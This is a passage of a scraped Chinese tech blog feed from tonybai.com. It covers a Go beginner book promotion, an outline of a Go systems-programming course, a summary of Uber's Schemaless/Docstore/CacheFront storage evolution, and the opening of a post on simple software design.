语言第一课》这本书，书中详细介绍了Go的设计哲学与核心理念，全面讲解了Go的重要语法特性。没有基础也完全不必担心，本书手把手式教学，小白立即轻松上手。\n扫描上方二维码，即可五折购书(在有效期内)\n现在，让我们进入课堂，开始Go语言学习的第一课吧。\nPart.1 零基础起步，Go开发全掌握 本书为读者设计了一条循序渐进的学习路线，可以分为三个部分。\n首先讲述Go语言的起源与设计哲学；\n然后说明开发环境的搭建方法；\n最后详细介绍Go的重要语法与语言特性，以及工程实施的一些细节。\n初次学习Go开发的同学们一定要注意，动手实践是学习编程的不二法门，在进入第二部分学习时，就要根据书中内容同步搭建实验环境，一步一个脚印地走稳走好。\nGo的设计哲学 本部分先介绍了Go语言在谷歌公司内部孵化的过程，描述了其在当今云计算时代的广泛应用。\nGo的第一版官网 重点说明了Go的5个核心设计哲学：\n简单： 仅有25个关键字，摒弃了诸多复杂的特性，便于快速上手； 显式： 要求代码逻辑清晰明确，避免隐式处理带来的不确定性； 组合： 通过类型嵌入提供垂直扩展能力，通过接口实现水平组合，灵活扩展功能； 并发： 原生支持并发，用户层轻量级线程，轻松支持高并发访问； 面向工程： 注重解决实际问题，围绕Go的库、工具、惯用法和软件工程方法，都为开发提供全面支持。 读者理解了Go的设计哲学就能明确它擅长的方向，澄清心中的疑问，也掌握了使用Go进行编程的指导原则。\nPart.2 搭建Go开发环境 这部分先针对Windows、macOS、Linux三种主流操作系统给出了多种安装方法，包括使用安装包、使用预编译二进制包、通过源码编译，说明如何管理多个Go版本。\n然后基于经典的“Hello World”示例，演示编译运行的方法，讲解Go的基本程序结构，包括包声明、导入包、main函数等内容。接着深入讲解Go包的定义、导入、初始化与编译单元。\n// ch3/helloworld/main.go package main import \u0026#34;fmt\u0026#34; func main() { fmt.Println(\u0026#34;hello, world\u0026#34;) } 详细讲解Go Module的核心概念，结合创世项目案例、社区共识、官方指南，给出清晰的项目布局建议。梳理了Go依赖管理的演化历程，重点讲解基于Go Module的依赖管理操作，包括添加、升级/降级、移除、替换等操作。\n经过这部分的学习，读者可以掌握Go的编译与运行方法、项目的组织与管理，具备工程化的能力。\nPart.3 Go语言特性详解 这部分是本书的重点，覆盖基础语法知识、并发、泛型、测试等内容；在结构上由浅入深，层层递进，读者只要坚持学练结合，就能全盘掌握Go的关键知识。\n基础语法知识包含以下内容：\n变量与类型： 说明变量的声明方法、变量的作用域。 基本数据类型： 详细讲解布尔型、数值型、字符串型的特性与常用操作。 常量： 重点讲解Go常量的创新性设计，包括无类型常量、隐式转换、实现枚举。 复合数据类型： 讲解数组、切片、map类型、结构体的声明与操作。 指针类型： 解释指针的概念，说明其用途与使用限制。 控制结构： 详细介绍if、for、switch语句的用法，实现分支、循环功能。 函数： 说明函数的声明、参数、多返回值特性，以及defer的使用与注意事项。 错误处理： 讲解了error接口的错误处理，以及异常处理的panic机制。 方法： 详解Go方法的声明与本质，通过类型嵌入模拟“实现继承”。 接口： 说明接口类型的定义、实现方法与注意事项。 并发是Go的“杀手锏”级高阶特性，书中详述了Go并发的原理，给出了并发实现方案，即通过channel通信实现goroutine间同步，而非共享内存。说明channel与select结合使用的惯用法。\nCSP模型 泛型是Go 1.18版本的新增特性，解决了为不同类型编写重复代码的痛点。书中介绍了Go泛型设计演化简史，讲解泛型语法、类型参数、类型约束，并给出了代码示例。\n接口类型的扩展定义 最后讨论Go代码的质量保障方法，介绍了Go内置的测试框架，包括单元测试、示例测试、测试覆盖率以及性能基准测试，帮助读者快速且方便地组织、编写、执行测试，并得到详尽的测试结果反馈。\nGo测试覆盖率报告\nPart.4 作者介绍 本书作者Tony Bai（白明），资深架构师，行业经验超20年，现于汽车行业某独角兽Tier1企业担任车云平台架构组技术负责人。\n出于对技术的追求与热爱，他发起了Gopher部落技术社群，也是tonybai.com的博主。\nTony Bai老师早在2011年Go语言还没发布Go 1.0稳定版本时，他就在跟随、实践。当Go在大规模生产环境中逐渐替代了C、Python，Go便成为他编写生产系统的第一语言。\n后来，Tony Bai老师在极客时间上开设课程讲解Go语言开发，引领学员从入门到建立思维框架，走向大厂。累计2.4w名学员学习这门课程并纷纷给出高分评价。\n如今，Tony Bai老师基于在线课程将内容整理成书，并补充了之前缺失的重要语法点（如指针、测试、泛型等），并对已有内容进行了精炼，同时更新至Go 1.24版本。\n相信这本书会帮助更多读者轻松学会Go语言，解决实际工作问题，获得职业成功。\nPart.5 结语 《Go 语言第一课》这本书可以说既懂新手痛点，又懂工程实战。本书从Go的设计哲学入手，然后给出保姆级的环境搭建、代码组织指南，最后通过由浅入深的语法讲解，覆盖从基础到高阶的所有核心特性。\n本书具备三大特点。\n第一是高屋建翎，开篇即剖析Go语言的设计哲学和编程思想，帮助读者透彻理解Go的核心理念，了解Go的特长，知道如何使用以获得最佳效果。\n精彩书摘 第二是路径完整，覆盖Go入门的基础知识与概念，打通基础知识-语法特性-工程实践全流程，助力读者从新手进化为合格的Go开发工程师。\n精彩书摘 第三是保姆级讲解，搭建环境是一步一图，讲解语法时辅以大量精心设计的示例代码，简洁明了，帮助读者直观地理解和掌握重点与难点内容。书中还针对Go开发中易犯的错误给出了贴心的避坑提示。\n精彩书摘 本书适合各个层次的读者。对于Go初学者，可以循序渐进地掌握Go编程；对于动态编程语言的开发者，可以通过本书平滑转投Go阵营；对于Go的技术爱好者，可以增进认知，培养专业开发水准。\n现在翻开《Go 语言第一课》，开启Go开发之旅，高并发服务端、云原生应用开发，都将轻松掌控！\n今日互动 说说你对Go语言的看法？\n点击右侧链接，在原文留言区参与互动，并点击在看和转发活动到朋友圈，我们将选1名读者获得赠书1本，截止时间9月15日。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/03/gopher-first-lesson-to-big-factory/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/gopher-first-lesson-to-big-factory-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/03/gopher-first-lesson-to-big-factory\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/03/gopher-first-lesson-to-big-factory\"\u003ehttps://tonybai.com/2025/09/03/gopher-first-lesson-to-big-factory\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e很多计算机专业的同学们都在问：想进大厂，要先学好哪门编程语言？\u003c/p\u003e\n\u003cp\u003e从应用广泛程度来说，学好Go语言肯定错不了！我们来看一下大厂们都用Go在做哪些开发：\u003c/p\u003e","title":"Gopher直通大厂，就从这第一课开始！"},{"content":"亚马逊CTO Werner Vogels的9条军规 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n亚马逊CTO Werner Vogels的9条军规 九月 2, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/09/02/amazon-cto-werner-vogels-9-commandments\n大家好，我是Tony Bai。\n最近，在一次私密的炉边谈话中，亚马逊CTO、互联网基础设施的奠基人之一Werner Vogels，分享了他二十年来构建高可用系统的核心经验。\n以下是他那些直击要害、毫不含糊的九条法则，每一条都值得我们深思。\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/02/amazon-cto-werner-vogels-9-commandments/","summary":"\u003ch1 id=\"亚马逊cto-werner-vogels的9条军规---tony-bai\"\u003e亚马逊CTO Werner Vogels的9条军规 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"亚马逊CTO Werner Vogels的9条军规"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/01/system-programming-in-go\n大家好，我是Tony Bai。\n作为一名 Go 工程师，我们无疑是幸运的。这门语言为我们提供了简洁的语法、强大的并发模型和一套设计精良的标准库。我们能以极高的效率，构建出高性能的 Web 服务、数据管道和云原生应用。\n我们熟练地使用 http.ListenAndServe 启动服务，用 go build 创造可移植的二进制文件，用 io.Copy 在源与目标之间传递数据。我们享受着 Go 带来的便利，在应用层快速地创造着价值。\n但你是否在某个瞬间，曾感到自己的知识体系中，似乎缺少了点什么？\n当你面对一个线上服务的疑难杂症，追查到标准库的边界后，便感到前路茫茫，不知如何再向下深入。 当你希望构建一个更底层的工具，需要精细地控制进程、处理信号、或者在多个服务间进行最高效的本地通信时，你发现自己对 os/exec, syscall 这些包的理解，还停留在“知道有这么个东西”的层面。 你渴望成为一名架构师或资深专家，但你意识到，自己对应用程序与操作系统之间那层看不见的交互，还知之甚少。 这种感觉，就像一位武功高强的剑客，招式精妙，但内力修为尚有欠缺。这缺失的一环，正是那堂经典的、能让你洞悉底层运作原理的“系统编程课”。\n一堂被“跳过”的必修课 在 Go 语言诞生之前，许多后端工程师的成长路径都绕不开一本圣经——《UNIX 环境高级编程》（APUE）。它系统地教会了我们，一个程序是如何通过文件描述符、进程、信号、管道、Socket 这些基本元素，与操作系统内核进行“对话”的。这堂课，是构建坚实后端知识体系的基石。\n而 Go 语言的巨大成功，在某种程度上，让新一代的开发者有机会“跳过”了这堂硬核的必修课。这并非坏事，它证明了语言的进步。但对于追求技术卓越的我们来说，知识体系中的这块拼图，必须被补上。\n因为不理解系统编程，你对 Go 的理解就永远无法完整。你无法真正领会 io.Reader/Writer 接口设计的哲学之美，无法看透 net 包背后网络轮询器的惊人效率，也无法自信地处理那些最棘手的、跨越应用层与系统层边界的问题。\n补上这堂课，成为一名更“完整”的工程师 这个微专栏——《Go 系统编程：揭秘进程控制、I/O 与 IPC》——正是为了帮助你，系统性地、用 Go 语言的现代视角，补上这堂至关重要的课。\n它不是一本枯燥的 API 手册，而是一次充满“探案”乐趣的底层探索之旅。我们将聚焦于后端开发中最核心的三大主题：文件 I/O、进程管理、以及进程间通信（IPC）。像侦探一样，从一个简单的 Go 函数出发，层层深入，直达操作系统内核，亲眼见证每一个经典概念的真实运作过程。\n学完这个专栏，你将获得什么？\n坚实的知识根基：你将不再满足于“知其然”，而是能“知其所以然”，建立起一套完整的、从应用层到系统层的知识体系，让你成为一名知识结构更完整的工程师。\n精准的问题定位能力：面对与文件、进程、IPC 相关的诡异问题，你将拥有从文件描述符、进程信号、管道状态等底层视角进行分析和定位的能力。\n编写更健壮、更专业的代码：你将学会如何正确地管理文件句柄、如何让服务在 kill 命令下优雅退出、如何为你的应用选择最合适的 IPC 机制。\n解锁 Go 的全部潜力：你会发现 os/exec, io, syscall 等包的背后，蕴藏着巨大的能量，可以用来构建出远超普通 Web 应用的、强大的底层工具与服务。\n专栏大纲：你的底层探索路线图 我为你精心设计了一条由浅入深、层层递进的学习路径，共包含8 篇核心正文：\n第00讲 | 系统调用：Go 程序如何直接与操作系统内核“对话”？\n简介： 本篇是整个专栏的基石，也是一把“总钥匙”。我们将揭开 Go 程序静态编译、轻松部署背后的最大秘密——不依赖 libc 的独立系统调用机制。学完它，后续所有章节对你来说都将豁然开朗。\n模块一：揭秘 I/O：从文件描述符到接口哲学\n第 01 讲 | 文件 I/O：从文件描述符到 io.Reader/Writer 的抽象 简介： 深入 UNIX“一切皆文件”的哲学。我们将从内核的整数文件描述符（FD）出发，看 Go 如何将其封装为 *os.File，并最终升华为 io.Reader/Writer 这一“神来之笔”的接口设计。\n第 02 讲 | 文件系统：用 Go 精准操控文件元数据与目录 简介： 超越简单的读写，成为文件的“管理者”。本讲将带你深入 os.FileMode 的位掩码世界，用代码实现 chmod，并彻底辨析硬链接与符号链接的本质区别。最后，你将学会用 filepath.WalkDir 优雅地漫游整个目录树。\n模块二：揭秘进程：生命周期与后台守护\n第 03 讲 | 进程的生命周期：从创建、通信到优雅退出 简介： 这是从编写“脚本”到构建“健壮系统”的分水岭。我们将揭示 Go 为何选择 os/exec 而非 fork，并通过管道与子进程进行 I/O 对话，最终掌握结合信号与 context 实现服务优雅退出的黄金准则。\n第 04 讲 | 实战：用 Go 编写一个健壮的守护进程 (Daemon) 简介： 一次系统编程的“成人礼”。我们将亲手复刻一个经典的 Daemonize 函数，经历一次“失败的冒险”，从而深刻理解 fork 在 Go 中的危险性，并最终掌握通过 os/exec 创建守护进程的正确道路。\n模块三：揭秘 IPC：进程间的对话艺术\n第 05 讲 | 经典管道：匿名管道与命名管道 (FIFO) 的 Go 实现 简介： 铺设第一条进程间通信的道路。我们将回顾 os/exec 背后的匿名管道，并重点实践命名管道（FIFO），让任意两个不相关的进程，也能像读写普通文件一样进行通信。\n第 06 讲 | 高性能共享：消息队列与共享内存 简介： 一次充满“探案”和“反转”的硬核探索。我们将对比 System V 和 POSIX 消息队列，在实践中发现它们的 Go 亲和力差异。然后，我们将深入 IPC 的性能之巅——共享内存，并分别用System V Shmem和 mmap 亲手实现一个跨进程的“零拷贝”通信方案。\n第 07 讲 | 网络化 IPC：Go 的王牌——Socket 编程 简介： 专栏的升华与收官之作。我们将见证 Go 如何用 net.Listener 和 net.Conn 将繁琐的 Socket API 变得无比优雅，并揭示其“goroutine-per-connection”模型背后的网络轮询器秘密。你将明白，Go 为何能成为“云原生第一语言”。\n如果你已经不满足于仅仅是“使用”Go，而是渴望**真正地“理解”和“掌控”**它；\n如果你想在技术进阶的道路上，拥有更坚实的底层基础和更广阔的视野；\n如果你相信，成为一名更完整的工程师，是你职业生涯的下一个目标；\n那么，这个微专栏就是为你准备的。\n扫描上方二维码，或点击这里，立即订阅《Go 系统编程：揭秘进程控制、I/O 与 IPC》。\n让我们一起，补上这堂至关重要的课，开启一段充满挑战与收获的硬核之旅。我们专栏里见！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/01/system-programming-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/system-programming-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/01/system-programming-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/01/system-programming-in-go\"\u003ehttps://tonybai.com/2025/09/01/system-programming-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e作为一名 Go 工程师，我们无疑是幸运的。这门语言为我们提供了简洁的语法、强大的并发模型和一套设计精良的标准库。我们能以极高的效率，构建出高性能的 Web 服务、数据管道和云原生应用。\u003c/p\u003e","title":"成为更完整的 Go 工程师，从补上这堂系统编程课开始"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/01/uber-150-million-reads\n大家好，我是Tony Bai。\n在 Uber 这样体量的公司，其核心在线存储系统不仅要处理 PB 级的海量数据，还要以毫秒级的延迟响应每秒上亿次的请求。这一切是如何实现的？本文将深度整合 Uber 工程团队这几年公开发布的三篇文章，和大家一起穿越其核心存储架构的十年演进史：从最初为解决 MySQL 扩展性难题而生的 Schemaless，到拥抱 SQL 和强一致性的分布式数据库 Docstore，再到最终通过集成式缓存 CacheFront 将读取性能推向 1.5 亿 QPS 的极致。这是一个关于在 MySQL 之上构建分布式巨兽的真实故事，充满了工程上的权衡、妥协与创新。\nSchemaless 的诞生——戴着镣铐的舞蹈 故事的起点，是 Uber 早期对 PostgreSQL 的依赖，以及随后因性能和扩展性问题向 MySQL 的迁移。然而，即便是 MySQL，在面对 Uber 业务爆炸式增长带来的写入和分片（sharding）压力时，也很快捉襟见肘。Schemaless——Uber 的第一个自研存储系统——正是在这样的背景下诞生的。\n核心动机：解决 MySQL 的扩展性瓶颈 Schemaless 的设计目标非常明确：在 MySQL 之上构建一个水平可扩展的、对开发者透明的分片层。它并非要取代 MySQL，而是要成为 MySQL 的“放大器”。其核心设计充满了对当时工程约束的精巧妥协：\n无模式 (Schemaless)：这并非真的没有模式，而是“读时模式”（schema-on-read）。数据以 JSON blob 的形式存储在 MySQL 的一个简单表中。这极大地简化了数据库端的管理，但也给应用层带来了数据解析和验证的负担。 仅追加 (Append-only) 与不可变性 (Immutability)：为了简化系统设计和避免复杂的并发控制，Schemaless 的核心数据单元——Cell——被设计为不可变的。更新操作实际上是写入一个新的 Cell 版本。这使得系统非常健壮，但也让其难以用作通用数据库。 二级索引：通过一个独立的索引系统，Schemaless 实现了对非主键字段的查询，这在当时是一个重要的创新。 Schemaless 成功地解决了 Uber 早期的规模化问题，证明了在成熟数据库之上构建抽象层的可行性。但它的“极简主义”设计，也为后来的演进埋下了伏笔。\nDocstore 的演进——从 NoSQL 回归 SQL 的怀抱 随着时间的推移，Schemaless 的局限性日益凸显。其仅追加的 API 和“读时模式”对开发者不够友好，导致许多团队转向了当时流行的 Cassandra。然而，Cassandra 的最终一致性模型给应用开发者带来了巨大的心智负担，同时其运维复杂性和资源效率也未能满足 Uber 的严苛要求。\n在亲身经历了 Schemaless 和 Cassandra 的优缺点后，Uber 团队做出了一个关键决策：将 Schemaless 演进为一个通用的、支持事务的分布式 SQL 数据库。Docstore 就此诞生。\n设计哲学：两全其美 Docstore 的目标是提供“两全其美”的体验：既有 NoSQL 文档模型的灵活性，又有传统关系型数据库的模式强制和强一致性。\n写时模式 (Schema-on-write)：与 Schemaless 相反，Docstore 默认强制执行模式。表结构（列、类型）被明确定义，数据库负责保证数据的规整性。这极大地提升了数据的可靠性和开发效率。 灵活的文档模型：Docstore 支持嵌套数据类型和“关联”（Associations），允许开发者在同一张表中模拟关系模型（一对多、多对多）和层级化的文档模型。 开发者控制的数据局部性：通过引入分区键 (Partition Key) 的概念，Docstore 允许开发者显式地控制哪些数据应该物理上存储在一起，这对于优化查询性能至关重要。 架构核心：MySQL 之上的 Raft 与强一致性 Docstore 的架构是一个精巧的分层设计，其核心是在 MySQL 之上构建了一个强一致的复制层。\n分层架构：系统分为无状态的查询引擎层和有状态的存储引擎层。查询引擎负责路由、分片、鉴权等，而存储引擎负责数据的持久化。 分区与复制：数据被分片（shard）后，分布在多个分区 (Partition) 中。每个分区是一个由 3-5 个 MySQL 节点组成的复制组，跨可用区部署以实现高可用。 Raft 共识协议：每个分区内部运行 Raft 共识协议来保证数据的一致性。所有写操作都由 Leader 节点发起，并通过 Raft 的复制日志同步到 Follower 节点。 严格可串行化 (Strict Serializability)：得益于 Raft，Docstore 在分区级别提供了最高的一致性保证——严格可串行化。这意味着开发者可以像操作单机数据库一样思考事务，而无需担心并发异常。 事务的实现：Docstore 巧妙地将 MySQL 的原生事务能力暴露给了上层。一个 Docstore 事务，其本质就是一个在 Leader 节点上执行的 MySQL 事务，这个事务本身（而非其结果）作为 Raft 日志的单元被复制。这既保证了 ACID 语义，又实现了高可用。 Docstore 的诞生，标志着 Uber 存储系统的一次成熟蜕变。它从一个专用的键值存储，演变成了一个功能丰富的、通用的分布式 SQL 数据库，并成功地在 Uber 内部取代了 Cassandra，成为众多核心业务的首选。\nCacheFront 的极致优化——迈向 1.5 亿 QPS 随着 Docstore 的广泛应用，新的挑战再次出现。许多业务场景呈现出典型的“读多写少”模式，读取 QPS 可能是写入的数十倍甚至上百倍。仅仅依靠 Docstore 存储引擎的 NVMe SSD 已经无法经济高效地满足对超低延迟和超高吞吐量的极致追求。\n为了解决这个问题，Uber 团队没有让每个业务团队各自为战地搭建缓存，而是选择了一条更艰难但更具价值的道路：为 Docstore 构建一个深度集成的、透明的分布式缓存层——CacheFront。\n核心目标：透明、高效、一致 CacheFront 的设计目标清晰而宏大：\n对用户透明：开发者无需修改代码或引入新的客户端，只需开启配置即可享受缓存带来的好处。 极致的低延迟：显著降低 P75、P99 甚至 P99.9 的读取延迟。 成本效益：用相对廉价的缓存资源（Redis）来卸载昂贵的数据库存储层负载。 更强的一致性：解决传统旁路缓存（Cache-Aside）模式中常见的缓存与数据库不一致问题。 架构与设计：缓存即服务，深度集成 CacheFront 被无缝地集成在 Docstore 的查询引擎层。所有读取请求都会先经过缓存层，缓存未命中时再穿透到存储引擎，并将结果异步写回缓存。这个看似简单的“缓存旁路”模式，在 Uber 的规模下，充满了工程上的挑战与创新。\n缓存失效的“圣杯”：CDC 的妙用 缓存系统中最难的问题永远是缓存失效 (Cache Invalidation)。CacheFront 没有采用简单的 TTL（Time-To-Live）过期策略，因为它无法保证数据的一致性。其真正的“杀手锏”是利用了 Docstore 内建的**变更数据捕获（Change Data Capture, CDC）**服务——Flux。\nFlux 会持续地追踪（tail）底层 MySQL 的二进制日志（binlog）。 当任何数据（包括条件更新）发生变更时，Flux 会捕获这些事件，并在亚秒级内向 Redis 发送失效或更新指令。 这种基于 CDC 的异步失效机制，极大地缩短了数据不一致的时间窗口，提供了远强于 TTL 的最终一致性保证。 追求更强的一致性：同步失效的引入 随着业务对一致性要求的提高，仅仅依赖异步的 CDC 已经不够。CacheFront 的第二次重大升级，是实现了同步缓存失效。\n通过对 Docstore 存储引擎的改造，现在每一次写事务在提交前，都能返回该事务所影响的所有行的主键。查询引擎层在收到这些主键后，可以在写请求返回给客户端之前，同步地向 Redis 发送失效指令。\n这一改进，结合仍在后台运行的 Flux（作为兜底），为 CacheFront 提供了近乎读己所写 (Read-your-own-writes) 的强一致性保证，使得更多对一致性敏感的业务得以放心地使用缓存。\n可观测性与弹性设计 为了在 Uber 的规模下可靠运行，CacheFront 还构建了一系列令人印象深刻的弹性与可观测性特性：\nCache Inspector：一个独立的 CDC 消费者，它会延迟一分钟消费 binlog，并持续地将数据库中的“真相”与缓存中的数据进行对比，实时度量缓存的不一致率（Staleness），并将其作为核心 SLO 指标。 跨地域缓存预热 (Cache Warming)：通过复制 Redis 的写操作流（而非数据本身）到灾备区域，并在灾备区域模拟“读请求”来填充缓存，实现了高效且数据一致的跨地域缓存预热。 自适应超时 (Adaptive Timeouts)：动态调整对 Redis 的请求超时时间，以匹配当前 P99.99 的网络延迟，避免了因超时设置不当导致的大量缓存穿透。 熔断器 (Circuit Breakers)：当某个 Redis 节点出现故障时，能快速熔断对该节点的请求，防止雪崩效应。 智能分片：缓存的分片键与数据库的分片键故意设计为不同，以避免当某个 Redis 集群故障时，压力集中冲击到数据库的单个分片上。 成果：支撑 1.5 亿 QPS 的巨兽 经过多年的迭代，CacheFront 取得了惊人的成果：\n支撑超过 1.5 亿 QPS 的峰值读取，缓存命中率高达 99% 以上。 P75 延迟降低 75%，P99.9 延迟降低 67%。 通过缓存卸载，为一个核心用例节省了约 57,000 个 CPU 核心的数据库容量。 缓存不一致率维持在 99.99% 以上的极高水平。 小结：没有银弹，唯有持续演进 Uber 存储架构的约十年演进史(2016~2025)，是一个从解决眼前问题到构建长远平台，从拥抱 NoSQL 灵活性到回归 SQL 强一致性，最终通过极致的缓存优化来平衡成本与性能的经典故事。\n它为所有构建大规模后端系统的工程师提供了宝贵的启示：\n基于成熟组件构建：Docstore 的成功，在于它没有重新发明轮子，而是巧妙地站在了 MySQL 这个巨人的肩膀上。 演进式架构：没有一劳永逸的架构。系统必须能够根据业务需求的变化而持续演进，甚至进行方向性的调整。 缓存不是“银弹”，而是系统工程：一个生产级的缓存系统，远不止是“放一个 Redis 在前面”那么简单。它需要深度的系统集成、精巧的一致性保障机制和强大的可观测性与弹性设计。 最终，支撑 Uber 全球业务的，并非某一项神秘的“黑科技”，而是一系列坚实的、经过深思熟虑的、在真实世界的炮火中不断迭代和完善的工程决策。\n参考资料 Evolving Schemaless into a Distributed SQL Database – https://www.uber.com/blog/schemaless-sql-database/ How Uber Serves Over 40 Million Reads Per Second from Online Storage Using an Integrated Cache – https://www.uber.com/blog/how-uber-serves-over-40-million-reads-per-second-using-an-integrated-cache How Uber Serves over 150 Million Reads per Second from Integrated Cache with Stronger Consistency Guarantees – https://www.uber.com/blog/how-uber-serves-over-150-million-reads 想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/01/uber-150-million-reads/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/uber-150-million-reads-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/01/uber-150-million-reads\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/01/uber-150-million-reads\"\u003ehttps://tonybai.com/2025/09/01/uber-150-million-reads\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Uber 这样体量的公司，其核心在线存储系统不仅要处理 PB 级的海量数据，还要以毫秒级的延迟响应每秒上亿次的请求。这一切是如何实现的？本文将深度整合 Uber 工程团队这几年公开发布的三篇文章，和大家一起穿越其核心存储架构的十年演进史：从最初为解决 MySQL 扩展性难题而生的 Schemaless，到拥抱 SQL 和强一致性的分布式数据库 Docstore，再到最终通过集成式缓存 CacheFront 将读取性能推向 1.5 亿 QPS 的极致。这是一个关于在 MySQL 之上构建分布式巨兽的真实故事，充满了工程上的权衡、妥协与创新。\u003c/p\u003e","title":"从 0 到 1.5 亿 QPS：Uber 核心存储架构的十年演进与缓存设计哲学"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/31/the-simplest-thing-that-could-possibly-work\n大家好，我是Tony Bai。\n在我们解读了Github工程师Sean Goedecke关于“无聊即可靠”的系统设计和API设计理念之后，他再次带来了一篇精彩的的文章——《Do the simplest thing that could possibly work》。这既是对前两篇文章思想的延续，更是将其核心哲学提炼为一条终极黄金法则：在软件设计的每一个环节，都应“做可能奏效的最简单的事”。\n这条法则，在今天这个充斥着“无限扩展”、“优雅分布式”、“完美分层”等宏大叙事的时代，显得尤为重要。Goedecke认为，工程师们最大的误区，就是试图一开始就设计出那个“理想”系统，而忽略了当下最核心的问题。\n本文将继续和大家一起来深入剖析Goedecke这篇文章，领略其提出法则的真谛，探讨它如何帮助我们对抗软件工程中三大根深蒂固的敌人：对“大泥球”的恐惧、对“简单”的误解，以及对“未来扩展性”的过度痴迷。对于追求务实与高效的Go开发者来说，这套思想武器库，无疑是构建健壮、可维护系统的最佳指南。\n核心法则：先深入理解，再做最简单的事 Goedecke的核心论点可以概括为两步：\n花时间去深度理解当前的系统和需求。 然后，做那件能够解决当前问题的、最简单的事。 这与许多工程师的直觉相悖。我们总是被教导要“高瞻远瞩”，要设计一个能够应对未来各种可能性的“完美”架构。但Goedecke认为，这恰恰是通往失败的错误路径。\n让我们以他文中的Go应用场景为例：为一个现有的Go服务添加限速功能。\n“理想系统”思维：马上想到引入Redis，实现一个精巧的“漏桶算法”，构建一套独立的、可水平扩展的速率限制微服务。这套方案技术上无懈可击，充满了“工程美感”。 作者的“极简工作法”思维： 最简单的一步是什么？ 检查一下我们正在使用的边缘代理（如Nginx, Envoy）是否已经内置了速率限制功能？也许只需要几行配置就能解决问题。 如果不行，次简单的一步是什么？ 能否在应用内存中维护一个计数器？“可是重启会丢失数据！”——那么，丢失这些数据对业务的实际影响是什么？真的那么致命吗？ 